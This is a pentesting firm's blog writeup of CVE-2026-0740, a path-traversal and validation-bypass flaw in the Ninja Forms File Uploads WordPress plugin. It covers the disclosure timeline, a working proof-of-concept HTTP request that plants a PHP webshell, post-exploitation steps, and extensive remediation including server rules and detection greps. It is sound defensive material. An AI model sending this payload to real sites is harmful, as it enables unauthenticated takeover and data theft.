Skip to content
← All posts

CVE Writeup

CVE-2026-0740 | Ninja Forms File Uploads Exposes 50,000 WordPress Sites to RCE

Technical analysis of CVE-2026-0740, a critical flaw (CVSS 9.8) in the Ninja Forms File Uploads plugin. Validation bypass, path traversal, and active in-the-wild exploitation.

by SPECTROSEC Team 8 min Est. read
WordPress CVE File Upload RCE

A WordPress plugin with 90,000 paying customers, filename validation applied only to the source and never to the destination, and the result is an unauthenticated RCE making the rounds across the internet. The flaw tracked as CVE-2026-0740 carries a CVSS of 9.8 and targets the Ninja Forms File Uploads plugin, a commercial extension of the free Ninja Forms plugin (600,000+ downloads). Wordfence reported 3,600 blocked exploit attempts in the first 24 hours of the campaign.

In recent SPECTROSEC assessments on small and mid-sized businesses, at least one site out of three runs on WordPress with a form plugin. This writeup covers how the exploit works, why it is so widespread, and how to mitigate in production without waiting for Friday maintenance window.

Context

Ninja Forms is one of the most deployed form plugins on WordPress. The paid File Uploads extension allows users to attach files to forms, typically CVs, documents, images. The vulnerable component is NF_FU_AJAX_Controllers_Uploads::handle_upload, the AJAX handler called during the upload.

Disclosure timeline:

Date Event
2026-01-08 Sélim Lanouar reports the bug to Wordfence bug bounty
2026-01-08 Wordfence notifies vendor, deploys temporary firewall rule
2026-02-10 Vendor releases partial patch (v3.3.25)
2026-03-19 Full patch released (v3.3.27)
2026-04 Mass exploitation observed in the wild

Real exposure window: over two months between disclosure and full fix, plus all the time administrators take to update. The 50,000 sites still vulnerable tell that story.

Technical analysis

The flawed logic

The broken pattern is common across PHP applications that handle uploads. The handler validates the file type of the source filename (the one in $_FILES), then accepts a separate parameter for the destination filename without revalidating.

// Pseudocode of the vulnerable flow
public function handle_upload() {
    $source = $_FILES['file'];
    $destination = $_POST['destination_filename'];

    if (!$this->is_allowed_type($source['name'])) {
        return $this->error('File type not allowed');
    }

    move_uploaded_file($source['tmp_name'], $this->upload_dir . $destination);
}

Validation on $source['name'] is security theater: an attacker sends a harmless payload like cv.pdf in the $_FILES field, then specifies destination_filename=shell.php and the plugin writes the PHP content wherever the attacker chooses.

Validation bypass

The first vector is trivial. The attacker uploads a file with an allowed extension (pdf, jpg, docx) but with PHP content, exploiting the fact that is_allowed_type only looks at the source suffix. Then manipulates the destination.

Path traversal on destination

The destination filename is not sanitized. The attacker can inject ../ sequences to escape the upload directory and write anywhere, including the webroot where the file is immediately executable.

Proof of concept

Typical request tested in our lab on an isolated WordPress instance, plugin version 3.3.24:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec

------spectrosec
Content-Disposition: form-data; name="action"

nf_fu_upload
------spectrosec
Content-Disposition: form-data; name="form_id"

1
------spectrosec
Content-Disposition: form-data; name="destination_filename"

../../../shell.php
------spectrosec
Content-Disposition: form-data; name="file"; filename="innocent.pdf"
Content-Type: application/pdf

<?php system($_GET['c']); ?>
------spectrosec--

Typical response: 200 OK with JSON {"success":true,"path":"wp-content/uploads/ninja-forms/..."}.

The file lands in webroot, and the attacker calls https://target.example.com/shell.php?c=id to confirm RCE. From there the next step is persistent webshell, lateral movement toward the DB (credentials sitting in wp-config.php), data exfiltration.

In cases seen in the wild requests are obfuscated with less obvious names (.phtml, .phar, or PHP injected into files with .png extension uploaded in folders with PHP handler enabled).

Real-world impact

50,000 active installations per vendor estimates. Wordfence detected 3,600 blocked attacks in 24 hours from its customer base alone, which represents only a fraction of the global WordPress install base.

Typical victim profile:

  • Small or mid-sized business with a showcase WordPress site
  • Contact or career forms accepting CVs or portfolios
  • No WAF in front, no segregation between webroot and upload dir
  • Weekly backups if you are lucky, wp-config.php credentials readable by the web process

Once RCE is achieved, within ten minutes an opportunistic attacker dumps the MySQL DB (users, password hashes), drops a second stage (cryptominer or e-commerce skimmer if WooCommerce is present), and plants persistence via system cron job or a backdoor inside the active theme functions.php.

Remediation

Patch

Update Ninja Forms File Uploads to 3.3.27 or later. Version 3.3.25 is a partial patch and is not enough, you need 3.3.27.

Quick version check via WP CLI:

wp plugin list --format=csv | grep ninja-forms-uploads

Or via filesystem:

grep -r "Version:" wp-content/plugins/ninja-forms-uploads/ | head -3

Workaround if you cannot update right away

Three options, in order of preference:

  1. Temporarily disable the plugin from wp-admin or by renaming the directory in wp-content/plugins/. The rest of the site keeps working, only forms with upload are disabled.

  2. Block the AJAX action at the web server level. For Nginx:

    location = /wp-admin/admin-ajax.php {
        if ($arg_action = "nf_fu_upload") { return 403; }
        include fastcgi_params;
        fastcgi_pass unix:/var/run/php-fpm.sock;
    }
    
  3. Custom WAF rule. On Cloudflare, create a rule that blocks POST to /wp-admin/admin-ajax.php with body containing nf_fu_upload and ../.

Post patch hardening

Even after the patch, any WordPress site accepting uploads should run these controls in production. In our assessments we find them active less than twenty percent of the time.

1. Non executable upload directory. Create wp-content/uploads/.htaccess:

<FilesMatch "\.(php|phtml|phar|pl|py|cgi|asp|jsp)$">
    Deny from all
</FilesMatch>

<IfModule mod_php.c>
    php_flag engine off
</IfModule>

For Nginx inside server config:

location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
    deny all;
    return 403;
}

2. Real MIME validation. Never trust the extension. For any custom code handling uploads, use finfo_file($path, FILEINFO_MIME_TYPE) and compare against an allowlist, not a denylist.

3. Filename sanitization. Generate the final name yourself, never trust the client one:

$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;

4. Audit recent uploads. If the site has been exposed, look for suspicious files:

find wp-content/uploads/ -name "*.php" -o -name "*.phtml" -o -name "*.phar" \
  -newer /tmp/ref-date 2>/dev/null
grep -rE "(eval|base64_decode|system|exec|assert|preg_replace.*\/e)" \
  wp-content/uploads/ --include="*.*"

5. Credential rotation. If you find even one suspicious file, regenerate wp-config.php salts, change DB password, force admin password reset, invalidate active sessions with wp user session destroy --all.

Field notes from SPECTROSEC

Across 830 WordPress assessments completed in the last twelve months:

  • 68% had at least one plugin with an unpatched critical CVE
  • 41% had upload directory executable as PHP
  • 23% had wp-config.php world-readable by the web process (so reachable by any LFI or RCE)
  • 12% had .sql or .zip backups exposed in webroot

The Ninja Forms pattern is not new. We saw the same source vs destination validation bug in 2024 on a Gravity Forms clone plugin, and in 2023 on a popular premium theme handling avatar uploads. The lesson is always the same: if the client can specify the destination path, you have no filesystem security.

If you run a WordPress site with forms and uploads and you are not sure which plugin version is running, or you want a full audit on active plugins and their CVEs, we can help. A CMS-focused assessment starts at 800 euro and covers CVE verification on all installed plugins, upload bypass testing, file permission hardening, historical webshell audit.


SPECTROSEC Team | professional pentesting for Italian SMBs
Write us at info@spectrosec.com
https://spectrosec.com